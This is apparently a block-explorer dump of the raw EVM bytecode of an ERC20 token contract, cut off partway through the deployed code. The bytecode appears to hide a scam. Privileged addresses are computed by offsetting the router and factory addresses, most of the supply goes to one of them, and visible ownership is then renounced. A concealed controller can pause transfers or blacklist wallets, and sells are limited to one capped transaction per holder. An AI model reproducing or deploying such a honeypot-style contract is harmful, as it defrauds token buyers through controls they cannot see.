ffffffffffffffffff1602179055506001600f6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a60076003546111229190613583565b61112c91906133e1565b60016000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a600380546111a19190613583565b6111ab91906133e1565b60016000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061121a6000612362565b5050505050505050505050565b60006112316113f4565b9050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461128d57600080fd5b81601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113786122e4565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113df90613038565b60405180910390fd5b6113f181612362565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561146c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146390613138565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d390613058565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115ba91906131d8565b60405180910390a3505050565b60006115d384846112e9565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461164d578181101561163f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163690613078565b60405180910390fd5b61164c84848484036113fc565b5b50505050565b6000601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116f95750601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611738576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172f906131b8565b60405180910390fd5b6000600267ffffffffffffffff81111561175557611754613810565b5b6040519080825280602002602001820160405280156117835781602001602082028036833780820191505090505b50905061179185858561257e565b6000600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90613018565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161480156118bf5750600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ba957600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826000815181106118fb576118fa6137e1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308260018151811061194a576119496137e1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631f00ca7486856040518363ffffffff1660e01b81526004016119e39291906131f3565b60006040518083038186803b1580156119fb57600080fd5b505afa158015611a0f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611a389190612ae4565b600081518110611a4b57611a4a6137e1565b5b6020026020010151905080601060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508482611aa591906135dd565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b37919061338b565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051611b9b91906131d8565b60405180910390a3506122cc565b600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c505750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b1561208057601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd990613158565b60405180910390fd5b3082600081518110611cf757611cf66137e1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600181518110611d6857611d676137e1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f86856040518363ffffffff1660e01b8152600401611e019291906131f3565b60006040518083038186803b158015611e1957600080fd5b505afa158015611e2d573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611e569190612ae4565b600181518110611e6957611e686137e1565b5b60200260200101519050611ed6600754600a600b601060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec79190613583565b611ed191906133e1565b6125d2565b811115611f18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0f90613098565b60405180910390fd5b6001601160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508482611f7c91906135dd565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461200e919061338b565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161207291906131d8565b60405180910390a3506122cb565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614801561212a5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b156121c057600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16146121bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b690613118565b60405180910390fd5b5b83816121cc91906135dd565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461225e919061338b565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516122c291906131d8565b60405180910390a35b5b6122d78686866125eb565b6001925050509392505050565b6122ec6113f4565b73ffffffffffffffffffffffffffffffffffffffff1661230a610935565b73ffffffffffffffffffffffffffffffffffffffff1614612360576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612357906130f8565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248d90613198565b60405180910390fd5b6124a26000838361257e565b80600360008282546124b4919061338b565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161256691906131d8565b60405180910390a361257a600083836125eb565b5050565b600660039054906101000a900460ff161561259857600080fd5b600660029054906101000a900460ff16156125b257600080fd5b6001600660026101000a81548160ff021916908315150217905550505050565b60008183106125e157816125e3565b825b905092915050565b6000600660026101000a81548160ff021916908315150217905550505050565b828054612617906136a8565b90600052602060002090601f0160209004810192826126395760008555612680565b82601f1061265257805160ff1916838001178555612680565b82800160010185558215612680579182015b8281111561267f578251825591602001919060010190612664565b5b50905061268d9190612691565b5090565b5b808211156126aa576000816000905550600101612692565b5090565b60006126c16126bc84613263565b61323e565b905080838252602082019050828560208602820111156126e4576126e3613844565b5b60005b8581101561271457816126fa88826127d0565b8452602084019350602083019250506001810190506126e7565b5050509392505050565b600061273161272c8461328f565b61323e565b9050808382526020820190508285602086028201111561275457612753613844565b5b60005b85811015612784578161276a88826128ae565b845260208401935060208301925050600181019050612757565b5050509392505050565b60006127a161279c846132bb565b61323e565b9050828152602081018484840111156127bd576127bc613849565b5b6127c8848285613666565b509392505050565b6000813590506127df81613be4565b92915050565b6000815190506127f481613be4565b92915050565b600082601f83011261280f5761280e61383f565b5b813561281f8482602086016126ae565b91505092915050565b600082601f83011261283d5761283c61383f565b5b815161284d84826020860161271e565b91505092915050565b60008135905061286581613bfb565b92915050565b600082601f8301126128805761287f61383f565b5b813561289084826020860161278e565b91505092915050565b6000813590506128a881613c12565b92915050565b6000815190506128bd81613c12565b92915050565b6000813590506128d281613c29565b92915050565b6000602082840312156128ee576128ed613853565b5b60006128fc848285016127d0565b91505092915050565b60006020828403121561291b5761291a613853565b5b6000612929848285016127e5565b91505092915050565b6000806040838503121561294957612948613853565b5b6000612957858286016127d0565b9250506020612968858286016127d0565b9150509250929050565b60008060006060848603121561298b5761298a613853565b5b6000612999868287016127d0565b93505060206129aa868287016127d0565b92505060406129bb86828701612899565b9150509250925092565b600080604083850312156129dc576129db613853565b5b60006129ea858286016127d0565b92505060206129fb85828601612856565b9150509250929050565b60008060408385031215612a1c57612a1b613853565b5b6000612a2a858286016127d0565b9250506020612a3b85828601612899565b9150509250929050565b60008060008060808587031215612a5f57612a5e613853565b5b600085013567ffffffffffffffff811115612a7d57612a7c61384e565b5b612a89878288016127fa565b945050602085013567ffffffffffffffff811115612aaa57612aa961384e565b5b612ab6878288016127fa565b9350506040612ac787828801612899565b9250506060612ad887828801612899565b91505092959194509250565b600060208284031215612afa57612af9613853565b5b600082015167ffffffffffffffff811115612b1857612b1761384e565b5b612b2484828501612828565b91505092915050565b600060208284031215612b4357612b42613853565b5b6000612b5184828501612856565b91505092915050565b60008060008060008060008060008060006101608c8e031215612b8057612b7f613853565b5b60008c013567ffffffffffffffff811115612b9e57612b9d61384e565b5b612baa8e828f0161286b565b9b505060208c013567ffffffffffffffff811115612bcb57612bca61384e565b5b612bd78e828f0161286b565b9a50506040612be88e828f01612899565b9950506060612bf98e828f016127d0565b9850506080612c0a8e828f016128c3565b97505060a0612c1b8e828f01612899565b96505060c0612c2c8e828f016127d0565b95505060e0612c3d8e828f016127d0565b945050610100612c4f8e828f016127d0565b935050610120612c618e828f016127d0565b925050610140612c738e828f016127d0565b9150509295989b509295989b9093969950565b600060208284031215612c9c57612c9b613853565b5b6000612caa84828501612899565b91505092915050565b6000612cbf8383612ccb565b60208301905092915050565b612cd481613611565b82525050565b612ce381613611565b82525050565b6000612cf4826132fc565b612cfe818561331f565b9350612d09836132ec565b8060005b83811015612d3a578151612d218882612cb3565b9750612d2c83613312565b925050600181019050612d0d565b5085935050505092915050565b612d5081613623565b82525050565b6000612d6182613307565b612d6b8185613330565b9350612d7b818560208601613675565b612d8481613858565b840191505092915050565b6000612d9c602e83613330565b9150612da782613876565b604082019050919050565b6000612dbf602683613330565b9150612dca826138c5565b604082019050919050565b6000612de2602283613330565b9150612ded82613914565b604082019050919050565b6000612e05601d83613330565b9150612e1082613963565b602082019050919050565b6000612e28602683613330565b9150612e338261398c565b604082019050919050565b6000612e4b602483613330565b9150612e56826139db565b604082019050919050565b6000612e6e601c83613330565b9150612e7982613a2a565b602082019050919050565b6000612e91602083613330565b9150612e9c82613a53565b602082019050919050565b6000612eb4600c83613330565b9150612ebf82613a7c565b602082019050919050565b6000612ed7602483613330565b9150612ee282613aa5565b604082019050919050565b6000612efa602083613330565b9150612f0582613af4565b602082019050919050565b6000612f1d602583613330565b9150612f2882613b1d565b604082019050919050565b6000612f40601f83613330565b9150612f4b82613b6c565b602082019050919050565b6000612f63602283613330565b9150612f6e82613b95565b604082019050919050565b612f828161364f565b82525050565b612f9181613659565b82525050565b6000602082019050612fac6000830184612cda565b92915050565b6000604082019050612fc76000830185612cda565b612fd46020830184612cda565b9392505050565b6000602082019050612ff06000830184612d47565b92915050565b600060208201905081810360008301526130108184612d56565b905092915050565b6000602082019050818103600083015261303181612d8f565b9050919050565b6000602082019050818103600083015261305181612db2565b9050919050565b6000602082019050818103600083015261307181612dd5565b9050919050565b6000602082019050818103600083015261309181612df8565b9050919050565b600060208201905081810360008301526130b181612e1b565b9050919050565b600060208201905081810360008301526130d181612e3e565b9050919050565b600060208201905081810360008301526130f181612e61565b9050919050565b6000602082019050818103600083015261311181612e84565b9050919050565b6000602082019050818103600083015261313181612ea7565b9050919050565b6000602082019050818103600083015261315181612eca565b9050919050565b6000602082019050818103600083015261317181612eed565b9050919050565b6000602082019050818103600083015261319181612f10565b9050919050565b600060208201905081810360008301526131b181612f33565b9050919050565b600060208201905081810360008301526131d181612f56565b9050919050565b60006020820190506131ed6000830184612f79565b92915050565b60006040820190506132086000830185612f79565b818103602083015261321a8184612ce9565b90509392505050565b60006020820190506132386000830184612f88565b92915050565b6000613248613259565b905061325482826136da565b919050565b6000604051905090565b600067ffffffffffffffff82111561327e5761327d613810565b5b602082029050602081019050919050565b600067ffffffffffffffff8211156132aa576132a9613810565b5b602082029050602081019050919050565b600067ffffffffffffffff8211156132d6576132d5613810565b5b6132df82613858565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061334c8261362f565b91506133578361362f565b92508273ffffffffffffffffffffffffffffffffffffffff038211156133805761337f613754565b5b828201905092915050565b60006133968261364f565b91506133a18361364f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133d6576133d5613754565b5b828201905092915050565b60006133ec8261364f565b91506133f78361364f565b92508261340757613406613783565b5b828204905092915050565b6000808291508390505b600185111561345c5780860481111561343857613437613754565b5b60018516156134475780820291505b808102905061345585613869565b945061341c565b94509492505050565b60006134708261364f565b915061347b83613659565b92506134a87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846134b0565b905092915050565b6000826134c0576001905061357c565b816134ce576000905061357c565b81600181146134e457600281146134ee5761351d565b600191505061357c565b60ff841115613500576134ff613754565b5b8360020a91508482111561351757613516613754565b5b5061357c565b5060208310610133831016604e8410600b84101617156135525782820a90508381111561354d5761354c613754565b5b61357c565b61355f8484846001613412565b9250905081840481111561357657613575613754565b5b81810290505b9392505050565b600061358e8261364f565b91506135998361364f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135d2576135d1613754565b5b828202905092915050565b60006135e88261364f565b91506135f38361364f565b92508282101561360657613605613754565b5b828203905092915050565b600061361c8261362f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015613693578082015181840152602081019050613678565b838111156136a2576000848401525b50505050565b600060028204905060018216806136c057607f821691505b602082108114156136d4576136d36137b2565b5b50919050565b6136e382613858565b810181811067ffffffffffffffff8211171561370257613701613810565b5b80604052505050565b60006137168261364f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561374957613748613754565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473207560008201527f6e6c6f636b656420616d6f756e74000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f4e6f7420617574686f72697a656420746f2070617573652074686520636f6e7460008201527f7261637400000000000000000000000000000000000000000000000000000000602082015250565b7f416c726561647920496e697469616c697a656420436f6e747261637400000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f747820666f7262696464656e0000000000000000000000000000000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e73666572206973207374696c6c2070656e64696e67600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b7f53656e646572206f7220726563697069656e7420697320626c61636b6c69737460008201527f6564000000000000000000000000000000000000000000000000000000000000602082015250565b613bed81613611565b8114613bf857600080fd5b50565b613c0481613623565b8114613c0f57600080fd5b50565b613c1b8161364f565b8114613c2657600080fd5b50565b613c3281613659565b8114613c3d57600080fd5b5056fea264697066735822122098b7e465c6a363d5c57a0e73d29dc606c2e1440eedc23c115c630519d075736364736f6c63430008070033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb1461030a578063d05b136a1461033a578063d6d0f3ce14610356578063dd62ed3e14610372578063f2fde38b146103a257610121565b8063715018a6146102785780638da5cb5b1461028257806395d89b41146102a0578063a457c2d7146102be578063a571fdd7146102ee57610121565b806323b872dd116100f457806323b872dd146101ae578063313ce567146101de57806339509351146101fc578063422c5f131461022c57806370a082311461024857610121565b806302329a291461012657806306fdde0314610142578063095ea7b31461016057806318160ddd14610190575b600080fd5b610140600480360381019061013b9190612b2d565b6103be565b005b61014a610478565b6040516101579190612ff6565b60405180910390f35b61017a60048036038101906101759190612a05565b61050a565b6040516101879190612fdb565b60405180910390f35b61019861052d565b6040516101a591906131d8565b60405180910390f35b6101c860048036038101906101c39190612972565b610537565b6040516101d59190612fdb565b60405180910390f35b6101e6610567565b6040516101f39190613223565b60405180910390f35b61021660048036038101906102119190612a05565b61057e565b6040516102239190612fdb565b60405180910390f35b61024660048036038101906102419190612a45565b6105b5565b005b610262600480360381019061025d91906128d8565b6108d8565b60405161026f91906131d8565b60405180910390f35b610280610921565b005b61028a610935565b6040516102979190612f97565b60405180910390f35b6102a861095e565b6040516102b59190612ff6565b60405180910390f35b6102d860048036038101906102d39190612a05565b6109f0565b6040516102e59190612fdb565b60405180910390f35b61030860048036038101906103039190612c86565b610a67565b005b610324600480360381019061031f9190612a05565b610ad2565b6040516103319190612fdb565b60405180910390f35b610354600480360381019061034f9190612b5a565b610af6565b005b610370600480360381019061036b91906129c5565b611227565b005b61038c60048036038101906103879190612932565b6112e9565b60405161039991906131d8565b60405180910390f35b6103bc60048036038101906103b791906128d8565b611370565b005b60006103c86113f4565b9050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461045a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610451906130b8565b60405180910390fd5b81600660036101000a81548160ff0219169083151502179055505050565b606060048054610487906136a8565b80601f01602080910402602001604051908101604052809291908181526020018280546104b3906136a8565b80156105005780601f106104d557610100808354040283529160200191610500565b820191906000526020600020905b8154815290600101906020018083116104e357829003601f168201915b5050505050905090565b6000806105156113f4565b90506105228185856113fc565b600191505092915050565b6000600354905090565b6000806105426113f4565b905061054f8582856115c7565b61055a858585611653565b5060019150509392505050565b6000600660009054906101000a900460ff16905090565b6000806105896113f4565b90506105aa81858561059b85896112e9565b6105a5919061338b565b6113fc565b600191505092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105f66113f4565b73ffffffffffffffffffffffffffffffffffffffff161461061657600080fd5b60005b84518110156107ac578260026000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000878481518110610699576106986137e1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610726600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16868381518110610718576107176137e1565b5b602002602001015185611653565b506001600f60008784815181106107405761073f6137e1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107a49061370b565b915050610619565b5060005b83518110156108d1578160026000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008684815181106108305761082f6137e1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108bd600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168583815181106108af576108ae6137e1565b5b602002602001015184611653565b5080806108c99061370b565b9150506107b0565b5050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109296122e4565b6109336000612362565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461096d906136a8565b80601f0160208091040260200160405190810160405280929190818152602001828054610999906136a8565b80156109e65780601f106109bb576101008083540402835291602001916109e6565b820191906000526020600020905b8154815290600101906020018083116109c957829003601f168201915b5050505050905090565b6000806109fb6113f4565b90506000610a0982866112e9565b905083811015610a4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4590613178565b60405180910390fd5b610a5b82868684036113fc565b60019250505092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610aa86113f4565b73ffffffffffffffffffffffffffffffffffffffff1614610ac857600080fd5b8060078190555050565b600080610add6113f4565b9050610aea818585611653565b50600191505092915050565b600660019054906101000a900460ff1615610b46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3d906130d8565b60405180910390fd5b6001600660016101000a81548160ff021916908315150217905550610b6a84612362565b8a60049080519060200190610b8092919061260b565b508960059080519060200190610b9792919061260b565b5086600660006101000a81548160ff021916908360ff16021790555083600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c52600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900460ff16600a610c369190613465565b6001610c429190613583565b8b610c4d9190613583565b612426565b87600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508660ff16600b60146101000a81548161ffff021916908361ffff1602179055508560078190555081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d6a9190613341565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610dd89190613341565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c9c65396600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306040518363ffffffff1660e01b8152600401611005929190612fb2565b602060405180830381600087803b15801561101f57600080fd5b505af1158015611033573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110579190612905565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a60076003546111229190613583565b61112c91906133e1565b60016000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a600380546111a19190613583565b6111ab91906133e1565b60016000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061121a6000612362565b5050505050505050505050565b60006112316113f4565b9050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461128d57600080fd5b81601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113786122e4565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113df90613038565b60405180910390fd5b6113f181612362565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561146c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146390613138565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d390613058565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffff